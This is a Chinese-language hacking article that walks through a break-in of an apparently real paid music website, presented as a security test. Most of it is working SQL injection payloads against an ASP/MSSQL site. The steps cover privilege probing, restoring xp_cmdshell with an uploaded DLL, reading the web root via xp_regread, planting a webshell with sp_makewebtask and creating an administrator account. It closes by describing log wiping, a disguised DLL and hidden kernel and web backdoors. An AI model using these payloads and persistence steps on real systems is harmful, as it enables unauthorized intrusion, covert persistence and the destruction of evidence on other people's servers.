这绝对是一篇非常有观看价值的文章.有我对脚本注入漏洞的深入了解,对入侵的新思维分析.
目前网上到处流行的SQL INUTECTION 漏洞,也就是我们通常所说的SQL注入漏洞.利用这个漏洞大家可以跨表,跨库查询数据库信息.
以及通过论坛来上传文件从而得到主机WEBSHELL。这些都是一些很通常的手法.
如果安装了PCANYWHERE,拿下CIF文件,破解后也就拿到了系统管理员账号.
不过,安装PCANYWHERE的机子也并不多.我们就开创一条新的道路.利用这个漏洞,更重要在于去了解和分析服务器的安全配置,
到漏洞.结合系统漏洞.
拿到管理员权限.这才是我们真正要做的.所以,今天我就为大家介绍一下,前段时间我对一大型音乐收费网站进行安全测试的全部.
经过和分析.结果我利用纯脚本技术,拿到了系统管理员权限.
踩点:
踩点,是对一个服务器进行安全测试的首要工作。我们对服务器先进行端口扫描.我拿出了朋友写的一款非常不错的扫描程序,
速度相当快.同时开2000个线程半支烟功夫,端口从1-65535就扫完了.
扫描结果,开放端口如下:
21,80,1433,3389
再次扫描得到的结果相同.冲击波过后,网络上的服务器安全了许多
.入侵也有一定的难度了.
分析了一下,我把目标集中在21,1433端口. 现在只有看看运气,是否能扫出个弱口令.
真是倒霉,我很久都没有扫到存在弱口今的机子了,今天也一样.什么都没扫出来.
看来,我也有从网站脚本上,寻出路了.
对网站进行全方面的探索:
开了1433端口,SQLSERVER服务,一般都是ASP+MSSQL结构,来架设网站的,ASP脚本的注入漏洞,比其他脚本漏洞好.
存在的机率也相对要大得多.我一般对所提交的参数,加入单引号进行判断.没有过滤的参数IE一般都会返回错误信息.
我很快到了一个没有经过任何过滤的参数.
提交:wwwwill/script.asp?id=2'
IE返回:
提交:wwwwill/script.asp?id=2 and 1=1
IE返回正常记录.
提交:wwwwill/script.asp?id=2 and 1=2
IE没有返回记录.
好了.下面我们就利用这个漏洞拿到服务器和数据库的一些相关信息.
提交:
wwwwill/script.asp?id=2 and 1=(select @@VERSION)
这就看到服务器打的补丁情况了!
出错了,呵呵,IE给我们返回了以下错误信息,如图1
( 图1)
服务器打了SP4补丁.据说打了SP4后,也有对80的溢出程序,和对MSSQL SP3的溢出程序.
不过这些我都没有,呵呵,这台服务器从系统方面对于我来讲,还是比较安全的.所以我还是接着从脚本方面着手吧.
再看看他的数据库连接账号的权限吧.
提交:
wwwwill/script.asp?id=2 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
返回正常,证明当
前连接的账号是服务器角sysadmin权限.
差点没让我把嘴里的一口茶喷到电脑屏幕上.服务器角居然是sysadmin权限.(如图2)
(图2)
哈哈!看来连接账号多半是SA的了。
提交:
wwwwill/script.asp?id=2 and 'sa'=(SELECT System_user)
用来查看连接账号是不是用sa 连接的
IE再一次返回正常.证明了连接账号是SA。权限是至高无尚的了.
到这里,可能很多人,就想到了利用xp_cmdshell。来加系统账号,然后使用终端连接上去.
非常不错的想法!我也是很多人中的一员!我们来试试吧!
利用MSSQL存储过程,得到WEBSHELL。
来,看看xp_cmdshell是否被管理员删除了!
提交:
wwwwill/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
没有返回内容,提示不到记录了。
看来,xp_cmdshell已经被删除了。呵呵,给他恢复一下.
wwwwill/script.asp?id=2;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’, 'xplog70.dll'
再试,看xp_cmdshell是不是恢复过来了。
wwwwill/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
同样没有返回内容.这证明,管理员把xplog70.dll这个动态链接库给改名了。要不给删除了.直接恢复是没有没法的了.
对此,我只能说两个字"我忍"!
这么好个漏洞,不好好利用我是不心甘的。先拿他的WEBSHELL再说,拿到WEBSHELL。我有办法对付他的。
我们GO!
看过,N.E.V.E.R和CZY的文章没有?拿WEBSHELL的方法,两位大哥都已经详细的介绍过了。我也把他们的方法写成了程序。方便我使用嘛.
不过很老火的是得不到WEB绝对路径。我们生成的木马保存在什么地方呢?
这可能是很多牛人一直在研究的问题。还好,我对MSSQL还是了解点点。有办法得到他的WEB绝对路径.跟我来吧.
下面我们要利用两个MSSQL存储过程.现在给大家介绍一下:
xp_regread 扩展存储过程和sp_makewebtask WEB 助手存储过程.
xp_regread是用来读出注册表信息的.我们用来得到WEB绝对路径就是用他.
sp_makewebtask是用来得到WEBSHELL的,其主要功能就是导出数据库中的表的记录为文件。
我这里就不用N.E.V.E.R大哥的方法了。他的方法是导出库文件,文件都比较大,所以采用了CZY大哥的方法。
1.怎么拿到WEB绝对路径?
呵呵,这个问题,花了我很久时间去研究.大家都知道MS的东西,都放在注册表中的。
在注册表中我们得到WEB位置就是:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots
利用扩展存储过程:xp_regread我们可以取得他的值.
EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/'
这样,就取出来了,问题又来咯,取是取出来了,我们怎么在IE中返回他的值呢?
我们先创建一个临时表,表中加一字段,类型为:char 255 呵呵这个用来保存WEB绝对路径的值.
表建好后,我们就用读取注册表的方法,把返回的值保存在一变量中。
然后向新建的表中加入变量的值。这样,路径就写入了表中。
来:
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
然后,我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1)
这样IE报错,就把刚才插进去的WEB路径的值报出来了。
我也试过直接用变量来报错,让IE返回变量的值,结果是失败的,所以就想到了建临时表加数据进去的方法!
最后我们再删除刚建的临时表。工作就此告一段落。
2.怎么拿到WEBSHELL。
CZY大哥的文章已经写得很详细了。所以,我这里就只简单的提一下吧!
先创建一个表,建一字段,然后向这个字段中加入木马的内容。
然后,把内容通过xp_makewebtask存储过程导出成ASP脚本保存在WEB绝对路径中.
再次删除建的昨时表,一切就OVER了。
如:
EXECUTE sp_makewebtask @outputfile = 'C:\WEB\yfdmm.asp',
@query = 'SELECT 你的字段 FROM 你建的临时表'
呵呵,结果就出来了。当然我都写成了程序,所以就不用那么麻烦,自己手工一行一行的加数据进去了。
方法和思路都写了。现在我们就来行动吧.
还是先看看,他这两个扩展存储过程是不是已经被删除了。如果被删了,我也不想活人了。真到兴头,冷水就来了。
提交:
wwwwill/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')
提交:
wwwwill/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')
啦啦啦!今天是什么日子,我比过年还开心啦。全部返回正常。两个要用到的存储过程都没有删除。
(不过一般管理员也不会删除这两个的.了解太少了,也就不会注意他们嘛!)
好,来拿WEB绝对路径.
建表:
wwwwill/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][char](255));
向表中加数据:
wwwwill/script.asp?id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output
insert into cyfd (gyfd) values(@result);--
爆出WEBSHELL的绝对路径:
wwwwill/script.asp?id=2 and 1=(select count(*) from cyfd
where gyfd > 1)
如图3
哇,WEB绝对路径出来了: d:\Inetpub\wwwroot.
后面的,,211我们不管。
再把刚才建的表给删掉.
wwwwill/script.asp?id=2;drop table cyfd;--
OK,有了路径下面的就好办多。
打开我写的获取WEBSHELL的程序。
输入漏洞URL:www.yfd/yfd?id=2
输入保存木马的绝对路径:d:\Inetpub\wwwroot.
木马我早就配置好了,代码简减了又简减只有30行代码,这样才少向服务器提交数据。
加快速度嘛!木马的主要功能,就是输入内容,把输入的内容保存为一个文件。呵呵,通过这样的木马,我们就可以实现上传一些功能强大的脚本木马了,如海洋木马.
一分钟不到。程序都已经运行完毕。输入相应的路径。娃哈哈,WEBSHELL就来了。以最快的速度生成了一个海洋木马。
如图4,5:
(图4)
(图5)
我生活在幸福之中。开心吧!下面我们还得接着干呢!
恢复xp_cmdshell,我们要拿到系统管理员权限
下面的工作就是很简单,很轻松了。10分钟不到,就给你一个管理员账号.
都说了xp_cmdshell已经被删除了。并且无法恢复,这多半是管理员把xplog70.dll文件给删除,要不改名了。
没事,我们上传一个xplog70.dll就搞定一切了。
通过WEBSHELL。我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了。
来吧,我们来给他恢复。
提交:
wwwwill/script.asp?id=2;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’, 'e:\inetpub\wwwroot\xplog70.dll'
恢复,支持绝对路径的恢复哦。:)如图
OK。我们用IE来查看一下是不是已经恢复了。
提交:
wwwwill/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
嘿嘿。返回正常。已经恢复了.。
下面的还用我说吗?呵呵!
加账号:
wwwwill/script.asp?id=2;exec master.dbo.xp_cmdshell 'net user chouyfd chouyfd1314yf /add'
提升自己为超级管理员
wwwwill/script.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators chouyfd /add'
完毕。打开你的终端连接程序,连接吧!
哈哈,终于给我连上了。到此我就成功的拿到了这台主机的系统管理员账号. 如图6:
(图6)
 下面的工作就是清除日志和留下超级后门,然后闪人!
事后处理工作
终端连接上后,以最快的速度,清除IIS日志,和MSSQL日志.
同时,把xp_cmdshell也给他删除掉,不要让他发现了,也就不好办了。再把我上传的那个xplog70.dll移动到SYSTEM32目录下
改个我都不知道什么意思的名字叫:msxlog32.dll(打死他,他也查不出来,哈哈!)
嗯,再拿来,朋友提供的超级内核后门程序安装起,再把存在漏洞的脚本文件给打上补丁。同时在他的那个脚本程序中,我修改了代码。
 提交特定的参数(POST提交方式),显示我的WEB后门程序! 这样两个后门,很保险!怕什么呢
?开开心心过年吧!
结束语!
本文章中的URL我全部经过处理,所以请大家原谅:)文章可能还有很多地方大家有不明白的。
抱歉,篇幅有限,直接和我交流吧!:dy-e@163
这次完全通过脚本技术拿到系统管理员账号.也是我很久以来,对MSSQL深入学习的结果.
xp提交更改本文章,主要在于入侵的思路.方法是多种多样的。希望对大家有所帮助。可能我对MSSQL的研究到此就结束了。期待我更精彩的吧!我能做到!相信我!

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。